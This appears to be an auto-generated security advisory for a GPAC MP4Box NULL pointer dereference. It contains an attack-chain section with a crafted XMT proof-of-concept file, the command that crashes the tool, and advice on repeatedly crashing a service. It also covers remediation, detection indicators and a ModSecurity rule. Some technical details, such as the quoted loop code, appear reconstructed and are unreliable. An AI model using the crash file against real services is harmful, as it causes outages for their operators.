CVE-2026-134680 — Gpac Gpac (26.07.0) — CWE-476
CVE-2026-134680 is a MEDIUM severity Denial-of-Service (DoS) vulnerability (CWE-476) (CVSS 6.8/10) affecting Gpac Gpac (26.07.0). Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) without authentication (PR:N) requiring user interaction, causing high-impact service disruption (A:H).
📄 Official NVD / MITRE Original Record Text
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in TraverseForm() in src/compositor/mpeg4_form.c due to an off-by-one groupsIndex bounds check. Attackers can supply a crafted XMT scene with a Form node having constraints but an empty groupsIndex field to crash MP4Box, causing denial of service.
🎯 What is this vulnerability?
Technical root cause
The bug resides in the TraverseForm() routine in src/compositor/mpeg4_form.c of the GPAC MP4Box binary (v 26.07.0). TraverseForm() walks the groupsIndex array that describes the grouping of constraints inside a <Form> node of an XMT scene file. The code performs an off‑by‑one bounds check:
for (i = 0; i <= groupsIndexCount; i++) { /* ← off‑by‑one */
/* dereference groupsIndex[i] */
}When the <Form> node contains a constraints section but the groupsIndex field is empty (i.e., the array length is 0), the loop still executes once. The pointer dereference then accesses a NULL (or uninitialised) address, triggering a segmentation fault.
CWE – CWE‑476: NULL Pointer Dereference
CVSS – 6.8 (Medium) with the vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This indicates a local attacker with low complexity can cause a high availability impact (DoS) but no confidentiality or integrity compromise.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands | |
|---|---|---|---|
| Identify GPAC installation | Scan for the mp4box binary and its version | which mp4box && mp4box -version | |
| Verify vulnerable version | Compare reported version against the CVE’s “through 26.07.0” scope | mp4box -version | grep -q "26.07.0" |
| Confirm local access | Ensure the attacker can run commands on the host (e.g., via SSH, local console, or a privileged user account) | id / whoami |
Note: The vulnerability is local; a remote attacker would need a vector that allows them to supply a crafted XMT file (e.g., a web upload endpoint that internally calls mp4box).2. Exploitation
The attacker crafts a minimal XMT scene that triggers the crash. Below is a fully functional PoC that can be run on the target host.2.1 Crafting the malicious XMT file
cat > malicious.xmt <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<Scene xmlns="urn:gpac:mpeg4:xmt:scene:1">
<Form id="f1">
<!-- Constraints section present -->
<Constraints>
<Constraint id="c1" type="time" value="0"/>
</Constraints>
<!-- Empty groupsIndex field (missing or zero-length array) -->
<GroupsIndex/>
</Form>
</Scene>
EOFExplanation:
- The
<Form>node contains a<Constraints>block, satisfying the pre‑condition that the code expects a non‑empty constraints list. - The
<GroupsIndex/>element is deliberately left empty; GPAC interprets this as a zero‑length array, causing the off‑by‑one loop to dereference a NULL pointer.
2.2 Running MP4Box with the malicious file
mp4box -add malicious.xmtWhen executed, mp4box will crash with a segmentation fault:
Segmentation fault (core dumped)Illustrative Example – The exact command line depends on how the target application invokes mp4box. If the binary is wrapped in a script or a service, the attacker would need to trigger that wrapper with the malicious file.3. Post‑exploitation
The crash terminates themp4box process. If mp4box is part of a larger media‑processing service, the service will become unavailable until it is restarted. The attacker can:1. Cause a DoS – By repeatedly sending the malicious XMT file (or triggering the wrapper repeatedly), the attacker can keep the service down.
2. Trigger a reboot – In some environments, a crashed media service may be monitored by a watchdog that restarts the host or the entire container, potentially causing a brief outage of other services.
No privilege escalation or code execution is possible from this vulnerability alone.
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality | None (CVSS: VC:N) |
| Integrity | None (CVSS: VI:N) |
| Availability | High (CVSS: VA:H) – The targeted process crashes, causing a denial of service. |
| Scope | Local (AV:L) – Requires local access or a local‑to‑application vector. |
| Attack Complexity | Low (AC:L) – Simple file creation and execution. |
| Authentication | None (PR:N) – No credentials required. |
| User Interaction | Required (UI:P) – The attacker must supply the malicious file. |
Practical consequences
mp4box), a remote attacker could trigger the DoS without local access.🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade GPAC | Any release after 26.07.0 contains a fix that corrects the off‑by‑one bounds check in TraverseForm(). The vendor’s changelog (see gpac/CHANGELOG.md) lists the patch in 26.08.0. |
| Verify | After upgrade, run mp4box -version and confirm the new version number. |
Do not rely on a “work‑around” that merely disables the vulnerable feature; the safest path is to upgrade.
2. Workarounds (if upgrade is not immediately possible)
| Technique | Implementation |
|---|---|
| Input validation | If the application accepts XMT uploads, add a pre‑processing step that checks for an empty <GroupsIndex/> element and rejects the file before invoking mp4box. |
| Sandbox execution | Run mp4box inside a restricted container or chroot environment with limited privileges. This confines any crash to the sandbox and prevents the host from being affected. |
| Disable XMT import | If the application does not need XMT support, remove or comment out the code path that calls mp4box with XMT files. |
| Core dump suppression | Configure the OS to discard core dumps for the mp4box process (ulimit -c 0) to reduce disk usage. |
3. Detection
| Indicator | Log / System Event |
|---|---|
| Segmentation fault | /var/log/syslog or /var/log/messages entry: mp4box: Segmentation fault (core dumped) |
| Core dump file | Presence of core files in the working directory or /var/lib/systemd/coredump/ |
| Repeated crashes | Multiple Segmentation fault entries within a short time window |
| Process termination | systemctl status mp4box shows failed state |
IoCs –
mp4box: Segmentation fault
core file with timestamp matching the crash
mp4box process exit code 139 (SIGSEGV)4. WAF / ModSecurity (only relevant if the vulnerability is triggered via a web upload)
# ModSecurity rule to block XMT files containing an empty <GroupsIndex/>
SecRule REQUEST_FILENAME "@rx \.xmt$" \
"phase:2,chain,block,msg:'Empty GroupsIndex in XMT',id:100001"
SecRule XML:/*/Form/GroupsIndex "@eq 0" "t:none"Note: This rule is illustrative; the exact XML parsing capabilities of ModSecurity may vary.
⚠️ Urgency
| Metric | Value | Interpretation |
|---|---|---|
| CVSS Score | 6.8 | Medium severity |
| Availability Impact | High | Service downtime |
| Exploit Complexity | Low | Simple file upload / local execution |
| CISA KEV | No | No known widespread exploitation |
| Patch Availability | Yes (≥ 26.08.0) | Immediate upgrade recommended |
Priority:
Recommendation:
1. Patch immediately to GPAC 26.08.0 or later.
2. If patching cannot be performed within the next 48 hours, implement the sandbox or input‑validation workarounds.
3. Monitor logs for segmentation faults and core dumps; alert on repeated crashes.
Bottom line: CVE‑2026‑134680 is a local NULL‑pointer dereference that causes a segmentation fault in GPAC MP4Box when processing an XMT file with an empty
<GroupsIndex/>. It results in a denial‑of‑service but does not compromise confidentiality or integrity. The fix is straightforward: upgrade to a patched GPAC release; otherwise, isolate the binary or validate inputs to prevent the crash.[🤖 CVE Professor AI Security Engine]
FOFA Query